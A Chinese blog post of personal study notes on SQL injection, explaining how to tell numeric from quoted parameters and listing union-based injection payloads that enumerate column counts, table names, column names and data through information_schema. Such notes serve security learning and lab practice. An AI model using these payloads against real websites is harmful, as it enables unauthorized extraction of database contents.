sql 注入笔记

作者: 佩玖吟 | 来源:发表于2021-07-10 10:54 被阅读0次

SQL注入

判断数字型和字符型还有闭合的原理

  • 数字型的sql语句:
select * from user where id=1;
  • 字符型的sql语句:
select * from user where id='1';
select * from user where id="1";

拿数字型来说,你不管在后面加单引号还是双引号,都会导致语句错误而报错,那么两种引号都报错,我们就可以判定为数字型;

字符型的话,拿单引号类型来说,加入单引号之后:

id='1''

会导致语句后面多出来一个单引号,使得语句错误,如果加入双引号:

id='1"'

双引号被单引号包裹着,那么会将双引号也认为是一个字符,所以并不会报错,从而可以判断出是单引号闭合。双引号类型也是同理,只是引号相反而已。

总结:两种引号都报错为字符型,单引号报错双引号不报错为单引号闭合,双引号报错单引号不报错为双引号闭合,字符型最后要加注释符注释掉闭合后多余出来的引号。

Union 注入

select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,在 union 注入中可以快速测试每个数字对应的内容。

所以可以使用 select 1,2,3... 来判断所在列的位置。

字符型注入的大致步骤

  1. 闭合单引号

    ?id=1' or 1=1 %23
    
  2. 注入出字段数

    ?id=1' order by 3 %23
    ?id=1' union select 1,2,3 %23
    
  3. 表名

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
    
  4. 列名

    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=... %23
    
  5. 数据

    ?id=-1' union select 1,2,group_concat(...) from ... %23
    

其中 group_concat 是用 “,” 联合多行记录的函数,table_name 字段是 information_schema 库中 tables 表的表名字段,表中还有数据库名字段 table_schema,database() 函数返回的内容是当前数据库的名称。

相关文章

  • web安全之SQL注入

    2018/07/06 23:41 慕课网web安全之SQ之注入课程学习笔记 什么是SQL注入? 如何寻找SQL注入...

  • DVWA-SQL Injection(SQL注入)

    本系列文集:DVWA学习笔记 SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执...

  • WebGoat 靶场笔记

    sql注入笔记1.String SQL injection SELECT * FROM user_data WHE...

  • web--杂烩

    这个笔记有点乱 0x01 cms XDCMS1、SQL注入漏洞 注册会员处的 SQL 注入/system/modu...

  • sql注入学习

    sql注入笔记! 判断是否存在注入漏洞 经典的单引号判断。 select * from xx where id= ...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

  • 小迪16期-20170226

    第二天:Sql注入集锦篇 1.Sql注入之access注入 2.Sql注入之mysql注入 3.Sql注入之mss...

  • 第四章 SQL 注入

    要点 SQL注入 SQL注入防护 一、SQL注入 SQL注入:黑客会通过构造一些恶意的输入参数,在应用拼接 SQL...

网友评论

    本文标题:sql 注入笔记

    本文链接:https://www.haomeiwen.com/subject/elsfpltx.html